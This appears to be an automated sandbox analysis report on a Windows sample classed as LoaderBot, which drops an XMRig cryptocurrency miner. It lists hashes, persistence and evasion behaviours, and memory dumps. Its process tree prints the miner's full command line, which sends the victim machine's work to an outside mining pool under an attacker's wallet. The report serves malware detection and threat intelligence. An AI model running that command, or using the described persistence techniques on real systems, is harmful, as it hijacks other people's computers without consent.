Overview

overview

10

Static

static

10

551b7d95d8...d2.exe

windows7-x64

10

551b7d95d8...d2.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    151s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220721-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/07/2022, 17:01

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General

  • Target

    551b7d95d82018d8e33d47267059b30da2863acdb7cab642e4ddf47458643ed2.exe

  • Size

    4.3MB

  • MD5

    e26dba299968376840daddd89ae0322b

  • SHA1

    e77238f61839ee4ba72813780526f35ec78708a9

  • SHA256

    551b7d95d82018d8e33d47267059b30da2863acdb7cab642e4ddf47458643ed2

  • SHA512

    219e4beafeeb20c9712abd63bfa4b9408a068a2509702a8a02f7738f2248a89be0b5819eee7073f4725e6bdf37469b23f53c1a3bcef67d59b37ca1ac3da7b51c

Score
10/10
loaderbotxmrigloaderminerpersistence

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

    loaderminerloaderbot
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • LoaderBot executable 1 IoCs
  • XMRig Miner payload 1 IoCs
    miner
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\551b7d95d82018d8e33d47267059b30da2863acdb7cab642e4ddf47458643ed2.exe
    "C:\Users\Admin\AppData\Local\Temp\551b7d95d82018d8e33d47267059b30da2863acdb7cab642e4ddf47458643ed2.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: RenamesItself
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4324
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o gulf.moneroocean.stream:10128 -u 4AtkMz9HEF6QawKvDu1ZyU8covdLT1geJMCpUQRYEofDh6rZxTkcpCoVRrrFrC1BVdH7H9u1szcxsQWDoXyuciuQLmYCWCF -p x -k -v=0 --donate-level=1 -t 1
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1872
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k netsvcs -p
    1⤵
    • Drops file in System32 directory
    • Checks processor information in registry
    • Enumerates system info in registry
    PID:2204

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
    Filesize

    4.3MB

    MD5

    c58b9de8d4554c6718264f55c9861cfd

    SHA1

    2e120be3d952d9deefc8972519d452bab8814156

    SHA256

    c371d06d30f5afea4fa0bf62f7ea104d3073c688802cdac21d33b4464e9beff4

    SHA512

    2d64f80a507b6bb6001b1c8eea09e5d7c7ede93ae3b670ec2db809b46ebead1758abe9b485ce4bb28440b8ad7164594fca08d28198f2c8cd807dbc9eb36d0335

    Download Submit

  • memory/1872-134-0x0000000000400000-0x000000000108D000-memory.dmp

    Filesize

    12.6MB

    Download

  • memory/1872-135-0x00000000001A0000-0x00000000001B4000-memory.dmp

    Filesize

    80KB

    Download

  • memory/1872-136-0x0000000001390000-0x00000000013D0000-memory.dmp

    Filesize

    256KB

    Download

  • memory/1872-137-0x0000000000400000-0x000000000108D000-memory.dmp

    Filesize

    12.6MB

    Download

  • memory/1872-138-0x0000000000000000-0x0000000000200000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1872-139-0x0000000000000000-0x0000000000200000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/4324-130-0x00000000001E0000-0x0000000000640000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/4324-131-0x00000000052D0000-0x0000000005336000-memory.dmp

    Filesize

    408KB

    Download